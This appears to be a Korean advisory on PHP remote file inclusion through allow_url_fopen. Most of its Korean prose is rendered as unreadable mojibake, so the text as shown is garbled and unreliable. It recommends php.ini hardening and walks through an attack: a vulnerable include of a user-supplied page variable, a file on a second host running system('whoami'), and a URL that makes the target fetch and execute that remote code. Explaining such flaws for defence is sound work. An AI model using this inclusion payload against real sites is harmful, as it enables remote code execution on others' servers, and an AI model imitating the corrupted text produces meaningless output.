PHP,°Ô½ÃÆÇ ÇÁ·Î±×·¥ Ãë¾àÁ¡ µîÀ» ÀÌ¿ëÇÑ È¨ÆäÀÌÁö º¯Á¶°¡ ´ë·®À¸·Î ¹ß»ýÇÔ¿¡ µû¶ó "ÁÖÀÇ"°æº¸¸¦ ¹ß·ÉÇÏ¿À´Ï À¥¼¹ö °ü¸®ÀÚ ¹× ȨÆäÀÌÁö ¿î¿µÀÚ´Â °ü·Ã ÇÁ·Î±×·¥ÀÇ ½Å¼ÓÇÑ ¾÷±×·¹À̵带 ÇϽñ⠹ٶø´Ï´Ù.
[ ¿µÇâ ] ¿ø°ÝÀÇ °ø°ÝÀÚ°¡ À¥¼¹ö ½Ã½ºÅÛ ³» ÀÓÀÇÀÇ ÆÄÀÏ Àбâ, ¾Ç¼ºÇÁ·Î±×·¥ ÁÖÀÔ ¹× ½ÇÇà µîÀÌ °¡´ÉÇϸç ÇØ´ç Ãë¾àÁ¡À» ÀÌ¿ëÇÑ È¨ÆäÀÌÁö ´ë·® º¯Á¶, ÀÚ·á »èÁ¦ µîÀ» ¹ß»ý½Ãų ¼ö ÀÖ½À´Ï´Ù.
[ ÇØ°áÃ¥ ] php.ini ȯ°æ¼³Á¤ ÆÄÀÏ ³»¿ëÀ» ´ÙÀ½°ú °°ÀÌ ¼öÁ¤
o allow_url_fopenÀÇ °ªÀ» 'on'¿¡¼ 'Off'·Î ¼öÁ¤ ¡æ ±âº»°ªÀº 'on' o magic_quotes_gpc ÀÇ °ªÀ» 'On'À¸·Î ¼öÁ¤ ¡æ ±âº»°ªÀº 'on' o register_globals ÀÇ °ªÀ» 'Off'·Î ¼öÁ¤ ¡æ ±âº»°ªÀº 'off'
[ °ø°Ý ¹æ¹ý ] °ø°ÝÀ» ÀÌÇØÇϱâ À§Çؼ´Â allow_url_fopen À̶ó´Â php ¼³Á¤ ÆÄÀÏÀÇ ¿É¼Ç¿¡ ´ëÇØ ¾Ë¾Æ¾ß ÇÕ´Ï´Ù. allow_url_fopen ´Â php ¸¦ ¼³Á¤ÇÏ´Â php.ini ÆÄÀÏ¿¡¼ ¼³Á¤ °¡´ÉÇϸç,ÀÌ¿¡ ´ëÇÑ ¼³¸íÀ» º¸¸é ´ÙÀ½°ú °°½À´Ï´Ù.
Whether to allow the treatment of URLs (like http:// or ftp://) as files.
Áï, URL (http:// ¶Ç´Â ftp:// ¿Í °°Àº) ÀÇ ÆÄÀÏÀÇ Ã³¸® Çã¿ëÀ» ÇÒ°ÍÀÎÁö¸¦ ¼³Á¤Çϴ°ÍÀÌ´Ù. À¥ »óÀÇ ¾î¶² ´Ù¸¥ °´Ã¼¿Í ¿¬°á°¡´ÉÇÔÀ» ¶æÇϴµ¥, ÀÌ´Â »ç¿ëÀÚ°¡ Ưº°È÷ ÁöÁ¤ÇØ ÁÖÁö ¾Ê´Â ÇÑ ±âº»ÀûÀ¸·Î On À¸·Î µÇ¾î ÀÔ´Ï´Ù. ±×·¸´Ù ÇÔÀº ´Ù¸¥°÷ÀÇ php ÆÄÀÏÀ» source È ÇÏ¿© ³»¿ëÀ» ±×·¡µµ Ãâ·ÂÇÏ¿© ÁÖ´Â ÆÄÀÏÀÇ url À» º¯¼öÈ »ç¿ë°¡´É Çϸç, À̸¦ ÀÌ¿ëÇØ ±× ÆÄÀÏÀÇ ³»¿ëÀ» Àû¿ë °¡´ÉÇÏ´Ù´Â À̾߱Ⱑ µË´Ï´Ù.
¿¹Á¦¸¦ º¸ÀÚ.
target ¼¹ö¸¦ AAA.com ¼¹ö, php Áö¿øÀ» ÇÏÁö ¾Ê´Â ¼¹ö¸¦ BBB.com À̶ó ÇÕ´Ï´Ù. AAA.com/index.php ¿¡´Â ´ÙÀ½°ú °°Àº ±¸¹®ÀÌ ½À´Ï´Ù.
//ÀÌ php code ÀÇ ¿ªÇÒÀº $page ÀÇ º¯¼ö·Î ³Ñ¾î¿Â °ªÀÇ À̸§°ú //.php ¶ó´Â ¹®ÀÚ¿À» °áÇÕÇÏ¿© a.php, b.php µîÀÇ À̸§ À¸·Î ¸¸µçÈÄ, //including ½ÃÄÑÁÖ´Â ¿ªÇÒÀ» ÇÏ°í ÀÖ½À´Ï´Ù. include ($page.".php"); .... .... ?>
¶Ç php ¸¦ Áö¿øÇÏÁö ¾Ê´Â BBB.com ¿¡´Â ´ÙÀ½°ú °°Àº ³»¿ëÀÇ ÆÄÀÏÀ» ¸¸µé¾î À̸¦ a.php ¶ó´Â ÆÄÀÏ·Î ÇÕ´Ï´Ù. URL => http://BBB.com/a.php //ÀÌ´Â php ¸¦ Áö¿øÇÏÁö ¾Ê´Â °÷¿¡ »ç¿ëÇÒ ÆÄÀÏ·Î //php ÇüŸ¦ ¶ç°í ÀÖÁö¸¸ php ¸¦ Áö¿ø ÇÏÁö ¾Ê±â ¶§¹®¿¡ //php È ÇÏÁö ¾ÊÀºÃ¤ code ÇüÅ ±×´ë·Î Àü¼ÛÀÌ µÇ¾î Áý´Ï´Ù. system("whoami"); ?>
ÀÚ ±×·³ °ø°ÝÀº ´ÙÀ½°ú °°ÀÌ ÇÕ´Ï´Ù.
http://AAA.com/index.php?page=http://BBB.com/a
http://AAA.com/index.php ¿¡¼´Â $page ¶ó´Â º¯¼ö¿¡ Á¤ÀÇµÈ ÆÄÀÏÀ» ÀÐÀ»°ÍÀ̸ç À̸¦ Á¤ÀÇÇÑ °ÍÀº http://BBB.com/a À̳ª, .php ¹®ÀÚ¿À» °áÇÕÇÏ¿© http://BBB.com/a.php ÀÇ ³»¿ëÀ» º¯¼ö·Î ÁöÁ¤ÇÏ¿© ÀоîµéÀÏ °ÍÀÔ´Ï´Ù. BBB.com Àº php ¸¦ Áö¿øÇÏÁö ¾Ê±â ¶§¹®¿¡ ¿ø·¡ÀÇ php code ¸¦ ±×´ë·Î ³ëÃâ½Ãŵ´Ï´Ù. ÀÌ ³»¿ëÀº °á±¹ http://AAA.com/index.php ¿¡ Á¤ÀÇ µÇ¾î Àִ´ë·Î include ½ÃÅ´À¸·Î http://BBB.com/a.php ÀÇ ³»¿ëÀÌ ±×´ë·Î php ·Î ½ÇÇàµÇ¾î ¹ö¸²´Ï´Ù.
ÇÑ°¡Áö ´õ ÆÁÀ» ºÙÀδٸé.. php.ini ÆÄÀÏÀÇ ³»¿ëÀ» º¼¶§, php¸¦ Áö¿øÇÏÁö ¾Ê´Â apache °¡ ¾Æ´Ï¾îµµ file source code ¸¦ ±×´ë·Î ¹ÞÀ»¼ö ÀÖ´Â ftp:// ·Îµµ °¡´ÉÇÏÁö ¾ÊÀ»±î ½Í½À´Ï´Ù. Å×½ºÆ®´Â Çغ¸Áö ¾Ê¾Ò½À´Ï´Ù. |
|
|